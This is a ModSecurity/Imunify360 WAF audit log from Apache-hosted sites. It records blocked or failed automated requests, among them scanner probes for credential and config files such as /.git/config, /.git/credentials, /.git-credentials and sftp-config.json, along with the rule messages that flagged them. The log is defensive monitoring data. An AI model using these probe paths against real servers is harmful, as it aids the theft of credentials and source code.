--44dd5c54-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 417
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=ugg4319FNW8wYWxLaVAxVmt2b2tuWWduN2pPVGtkWVJCS09rVHZSTERCemxwd3MlMkJVMXBiNFFJVzZnYmp0NldLck5ucHFHNXBqeWhYdnVXaXZEVk5XenJqcmJPcCUyQnA3U3QlMkZMeEVwMzRWSllvdyUyQlIyaTlZWnAlMkI1bldNMWtTWlBpVjBzclppWEE2WDBRMjNmQ05xdUJDdDJsWUNRJTNEJTNE
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=slot5k
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br
--44dd5c54-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: b492e569-6da9-416b-8894-0c0f20dd15ba
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--44dd5c54-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275879641282 394466 (- - -)
Stopwatch2: 1789275879641282 394466; combined=6611, p1=314, p2=5869, p3=0, p4=0, p5=427, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--44dd5c54-Z--
--7f85734a-A--
[13/Sep/2026:08:04:47.785427 +0300] aqYu70wu1RSkptiiNIXw@gAAAIE 188.166.231.242 51488 127.0.0.1 7081
--7f85734a-B--
GET /license.txt HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1
--7f85734a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7f85734a-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/license.txt"] [unique_id "aqYu70wu1RSkptiiNIXw@gAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275887706163 79327 (- - -)
Stopwatch2: 1789275887706163 79327; combined=4395, p1=260, p2=4079, p3=0, p4=0, p5=55, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7f85734a-Z--
--c1cd9d13-A--
[13/Sep/2026:08:07:47.069740 +0300] aqYvoysVWymXUono-eRR3QAAAAk 151.243.174.40 54480 127.0.0.1 7081
--c1cd9d13-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.40
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c1cd9d13-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c1cd9d13-E--
--c1cd9d13-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067062549 7261 (- - -)
Stopwatch2: 1789276067062549 7261; combined=4510, p1=268, p2=3901, p3=75, p4=7, p5=259, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c1cd9d13-Z--
--54828c0d-A--
[13/Sep/2026:08:07:47.541047 +0300] aqYvo2M7dE9KgIIOpQhknwAAANQ 151.243.174.150 54492 127.0.0.1 7081
--54828c0d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.150
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--54828c0d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--54828c0d-E--
--54828c0d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067530391 10742 (- - -)
Stopwatch2: 1789276067530391 10742; combined=8021, p1=471, p2=6834, p3=155, p4=10, p5=551, sr=241, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--54828c0d-Z--
--1c988622-A--
[13/Sep/2026:08:07:47.945728 +0300] aqYvo2M7dE9KgIIOpQhkoAAAANU 95.134.102.154 54494 127.0.0.1 7081
--1c988622-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1c988622-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1c988622-E--
--1c988622-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067935585 10248 (- - -)
Stopwatch2: 1789276067935585 10248; combined=7841, p1=448, p2=6518, p3=173, p4=12, p5=689, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1c988622-Z--
--16ca052d-A--
[13/Sep/2026:08:09:36.728100 +0300] aqYwEGM7dE9KgIIOpQhkxgAAAMI 34.38.254.144 40460 127.0.0.1 7081
--16ca052d-B--
GET / HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 34.38.254.144
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--16ca052d-F--
HTTP/1.1 200 OK
Last-Modified: Tue, 02 Apr 2024 12:21:35 GMT
ETag: "67a-6151c25a371c0"
Accept-Ranges: bytes
Content-Length: 1658
Content-Type: text/html
--16ca052d-E--
--16ca052d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-89-39-7-190"] [uri "/"] [unique_id "aqYwEGM7dE9KgIIOpQhkxgAAAMI"]
Stopwatch: 1789276176719714 8456 (- - -)
Stopwatch2: 1789276176719714 8456; combined=6311, p1=340, p2=5830, p3=86, p4=9, p5=46, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--16ca052d-Z--
--3841541a-A--
[13/Sep/2026:08:13:39.712877 +0300] aqYxA2M7dE9KgIIOpQhlFwAAAMY 151.243.174.98 50006 127.0.0.1 7081
--3841541a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3841541a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3841541a-E--
--3841541a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276419706403 6522 (- - -)
Stopwatch2: 1789276419706403 6522; combined=4827, p1=268, p2=4126, p3=68, p4=7, p5=357, sr=94, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3841541a-Z--
--2bd4cd3c-A--
[13/Sep/2026:08:13:40.093696 +0300] aqYxBGM7dE9KgIIOpQhlGAAAAMc 151.243.174.17 50020 127.0.0.1 7081
--2bd4cd3c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.17
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2bd4cd3c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2bd4cd3c-E--
--2bd4cd3c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276420087657 6084 (- - -)
Stopwatch2: 1789276420087657 6084; combined=4479, p1=225, p2=3807, p3=81, p4=8, p5=357, sr=90, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bd4cd3c-Z--
--2959c67d-A--
[13/Sep/2026:08:13:40.280233 +0300] aqYxBGM7dE9KgIIOpQhlGgAAANg 34.146.38.117 50040 127.0.0.1 7081
--2959c67d-B--
GET /sftp-config.json HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/sftp-config.json
--2959c67d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2959c67d-E--
--2959c67d-H--
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/sftp-config.json"] [unique_id "aqYxBGM7dE9KgIIOpQhlGgAAANg"]
Stopwatch: 1789276420270777 9508 (- - -)
Stopwatch2: 1789276420270777 9508; combined=8140, p1=208, p2=7833, p3=53, p4=6, p5=39, sr=82, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2959c67d-Z--
--b5c1b049-A--
[13/Sep/2026:08:13:40.284777 +0300] aqYxBGM7dE9KgIIOpQhlGwAAAMQ 34.146.38.117 50036 127.0.0.1 7081
--b5c1b049-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/config
--b5c1b049-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b5c1b049-E--
--b5c1b049-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Stopwatch: 1789276420274509 10318 (- - -)
Stopwatch2: 1789276420274509 10318; combined=9000, p1=217, p2=8669, p3=58, p4=6, p5=50, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b5c1b049-Z--
--bf5a583d-A--
[13/Sep/2026:08:13:40.292097 +0300] aqYxBGM7dE9KgIIOpQhlHAAAAMo 34.146.38.117 50030 127.0.0.1 7081
--bf5a583d-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/config
--bf5a583d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--bf5a583d-E--
--bf5a583d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Stopwatch: 1789276420276421 15730 (- - -)
Stopwatch2: 1789276420276421 15730; combined=14712, p1=221, p2=14378, p3=59, p4=7, p5=47, sr=78, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bf5a583d-Z--
--995f9d01-A--
[13/Sep/2026:08:13:40.529882 +0300] aqYxBGM7dE9KgIIOpQhlHgAAAMU 151.243.174.180 50066 127.0.0.1 7081
--995f9d01-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--995f9d01-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--995f9d01-E--
--995f9d01-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276420521394 8529 (- - -)
Stopwatch2: 1789276420521394 8529; combined=5404, p1=325, p2=4711, p3=72, p4=7, p5=288, sr=132, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--995f9d01-Z--
--a5540354-A--
[13/Sep/2026:08:13:41.144465 +0300] aqYxBSsVWymXUono-eRR-QAAABg 34.146.38.117 50078 127.0.0.1 7081
--a5540354-B--
GET /.git/credentials HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/credentials
--a5540354-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a5540354-E--
--a5540354-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/credentials"] [unique_id "aqYxBSsVWymXUono-eRR-QAAABg"]
Stopwatch: 1789276421138746 5778 (- - -)
Stopwatch2: 1789276421138746 5778; combined=4291, p1=265, p2=3907, p3=68, p4=8, p5=42, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5540354-Z--
--a38b134c-A--
[13/Sep/2026:08:13:41.714673 +0300] aqYxBWM7dE9KgIIOpQhlIAAAAMs 34.146.38.117 50080 127.0.0.1 7081
--a38b134c-B--
GET /.git-credentials HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git-credentials
--a38b134c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a38b134c-E--
--a38b134c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqYxBWM7dE9KgIIOpQhlIAAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqYxBWM7dE9KgIIOpQhlIAAAAMs"]
Stopwatch: 1789276421705958 8766 (- - -)
Stopwatch2: 1789276421705958 8766; combined=7351, p1=2003, p2=5238, p3=62, p4=6, p5=42, sr=1801, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
